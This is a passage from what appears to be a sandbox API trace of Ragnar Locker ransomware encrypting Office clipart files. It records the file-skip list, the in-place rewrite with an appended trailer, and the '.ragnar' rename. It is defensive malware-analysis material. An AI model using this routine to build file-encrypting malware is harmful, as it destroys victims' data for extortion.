lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.683] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.683] GetProcessHeap () returned 0x580000 [0080.683] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.683] CloseHandle (hObject=0xf4) returned 1 [0080.683] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" [0080.683] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.ragnar_FD7BD9FC" [0080.683] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.683] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00453_.WMF", cAlternateFileName="")) returned 1 [0080.683] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.683] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BS00453_.WMF" | out: lpString1="BS00453_.WMF") returned="BS00453_.WMF" [0080.683] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned=".WMF" [0080.684] lstrcmpiW (lpString1="BS00453_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.684] lstrcmpiW (lpString1="BS00453_.WMF", lpString2="autorun.inf") returned 1 [0080.684] lstrcmpiW (lpString1="BS00453_.WMF", lpString2="boot.ini") returned 1 [0080.684] lstrcmpiW (lpString1="BS00453_.WMF", lpString2="bootfont.bin") returned 1 [0080.684] lstrcmpiW (lpString1="BS00453_.WMF", lpString2="bootsect.bak") returned 1 [0080.684] lstrcmpiW (lpString1="BS00453_.WMF", lpString2="bootmgr") returned 1 [0080.684] lstrcmpiW (lpString1="BS00453_.WMF", lpString2="bootmgr.efi") returned 1 [0080.684] lstrcmpiW (lpString1="BS00453_.WMF", lpString2="bootmgfw.efi") returned 1 [0080.684] lstrcmpiW (lpString1="BS00453_.WMF", lpString2="desktop.ini") returned -1 [0080.684] lstrcmpiW (lpString1="BS00453_.WMF", lpString2="iconcache.db") returned -1 [0080.684] lstrcmpiW (lpString1="BS00453_.WMF", lpString2="ntldr") returned -1 [0080.684] lstrcmpiW (lpString1="BS00453_.WMF", lpString2="ntuser.dat") returned -1 [0080.684] lstrcmpiW (lpString1="BS00453_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.684] lstrcmpiW (lpString1="BS00453_.WMF", lpString2="ntuser.ini") returned -1 [0080.684] lstrcmpiW (lpString1="BS00453_.WMF", lpString2="thumbs.db") returned -1 [0080.684] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.684] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.684] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.684] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.684] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.684] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.684] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf")) returned 0x20 [0080.684] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.684] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2436) returned 1 [0080.685] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x97b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.685] GetProcessHeap () returned 0x580000 [0080.685] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.685] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.686] VirtualAlloc (lpAddress=0x0, dwSize=0x984, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.686] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.686] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.686] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x984, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x984, lpOverlapped=0x0) returned 1 [0080.686] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.687] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x984, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.687] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x984, lpOverlapped=0x0) returned 1 [0080.687] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x984, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.687] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.687] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x984, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.687] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.687] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.687] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.687] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.687] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.687] GetProcessHeap () returned 0x580000 [0080.687] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.687] CloseHandle (hObject=0xf4) returned 1 [0080.687] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" [0080.687] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.ragnar_FD7BD9FC" [0080.688] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.688] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ba86700, ftCreationTime.dwHighDateTime=0x1bd4bea, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ba86700, ftLastWriteTime.dwHighDateTime=0x1bd4bea, nFileSizeHigh=0x0, nFileSizeLow=0xaac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01080_.WMF", cAlternateFileName="")) returned 1 [0080.688] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.688] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BS01080_.WMF" | out: lpString1="BS01080_.WMF") returned="BS01080_.WMF" [0080.688] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned=".WMF" [0080.688] lstrcmpiW (lpString1="BS01080_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.688] lstrcmpiW (lpString1="BS01080_.WMF", lpString2="autorun.inf") returned 1 [0080.688] lstrcmpiW (lpString1="BS01080_.WMF", lpString2="boot.ini") returned 1 [0080.688] lstrcmpiW (lpString1="BS01080_.WMF", lpString2="bootfont.bin") returned 1 [0080.688] lstrcmpiW (lpString1="BS01080_.WMF", lpString2="bootsect.bak") returned 1 [0080.688] lstrcmpiW (lpString1="BS01080_.WMF", lpString2="bootmgr") returned 1 [0080.688] lstrcmpiW (lpString1="BS01080_.WMF", lpString2="bootmgr.efi") returned 1 [0080.688] lstrcmpiW (lpString1="BS01080_.WMF", lpString2="bootmgfw.efi") returned 1 [0080.688] lstrcmpiW (lpString1="BS01080_.WMF", lpString2="desktop.ini") returned -1 [0080.688] lstrcmpiW (lpString1="BS01080_.WMF", lpString2="iconcache.db") returned -1 [0080.688] lstrcmpiW (lpString1="BS01080_.WMF", lpString2="ntldr") returned -1 [0080.688] lstrcmpiW (lpString1="BS01080_.WMF", lpString2="ntuser.dat") returned -1 [0080.688] lstrcmpiW (lpString1="BS01080_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.689] lstrcmpiW (lpString1="BS01080_.WMF", lpString2="ntuser.ini") returned -1 [0080.689] lstrcmpiW (lpString1="BS01080_.WMF", lpString2="thumbs.db") returned -1 [0080.689] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.689] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.689] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.689] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.689] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.689] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.689] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.689] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf")) returned 0x20 [0080.689] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.689] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2732) returned 1 [0080.689] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xaa3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.689] GetProcessHeap () returned 0x580000 [0080.689] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.689] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.691] VirtualAlloc (lpAddress=0x0, dwSize=0xaac, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.691] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.691] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.691] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xaac, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xaac, lpOverlapped=0x0) returned 1 [0080.691] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.691] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xaac, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.691] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xaac, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xaac, lpOverlapped=0x0) returned 1 [0080.691] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xaac, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.691] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.692] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xaac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.692] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.692] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.692] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.692] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.692] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.692] GetProcessHeap () returned 0x580000 [0080.692] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.692] CloseHandle (hObject=0xf4) returned 1 [0080.692] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" [0080.692] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.ragnar_FD7BD9FC" [0080.692] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.693] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d186600, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d186600, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1c08, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01603_.WMF", cAlternateFileName="")) returned 1 [0080.693] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.693] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BS01603_.WMF" | out: lpString1="BS01603_.WMF") returned="BS01603_.WMF" [0080.693] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned=".WMF" [0080.693] lstrcmpiW (lpString1="BS01603_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.693] lstrcmpiW (lpString1="BS01603_.WMF", lpString2="autorun.inf") returned 1 [0080.693] lstrcmpiW (lpString1="BS01603_.WMF", lpString2="boot.ini") returned 1 [0080.693] lstrcmpiW (lpString1="BS01603_.WMF", lpString2="bootfont.bin") returned 1 [0080.693] lstrcmpiW (lpString1="BS01603_.WMF", lpString2="bootsect.bak") returned 1 [0080.693] lstrcmpiW (lpString1="BS01603_.WMF", lpString2="bootmgr") returned 1 [0080.693] lstrcmpiW (lpString1="BS01603_.WMF", lpString2="bootmgr.efi") returned 1 [0080.693] lstrcmpiW (lpString1="BS01603_.WMF", lpString2="bootmgfw.efi") returned 1 [0080.693] lstrcmpiW (lpString1="BS01603_.WMF", lpString2="desktop.ini") returned -1 [0080.693] lstrcmpiW (lpString1="BS01603_.WMF", lpString2="iconcache.db") returned -1 [0080.693] lstrcmpiW (lpString1="BS01603_.WMF", lpString2="ntldr") returned -1 [0080.693] lstrcmpiW (lpString1="BS01603_.WMF", lpString2="ntuser.dat") returned -1 [0080.693] lstrcmpiW (lpString1="BS01603_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.693] lstrcmpiW (lpString1="BS01603_.WMF", lpString2="ntuser.ini") returned -1 [0080.693] lstrcmpiW (lpString1="BS01603_.WMF", lpString2="thumbs.db") returned -1 [0080.693] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.693] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.693] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.693] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.693] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.693] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.693] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.693] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf")) returned 0x20 [0080.694] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.695] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7176) returned 1 [0080.695] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1bff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.695] GetProcessHeap () returned 0x580000 [0080.695] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.695] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.696] VirtualAlloc (lpAddress=0x0, dwSize=0x1c08, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.696] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.696] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.696] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1c08, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1c08, lpOverlapped=0x0) returned 1 [0080.697] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.697] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1c08, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.697] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1c08, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1c08, lpOverlapped=0x0) returned 1 [0080.697] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1c08, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.697] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.698] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1c08, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.698] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.698] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.698] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.698] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.698] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.698] GetProcessHeap () returned 0x580000 [0080.698] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.698] CloseHandle (hObject=0xf4) returned 1 [0080.698] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") 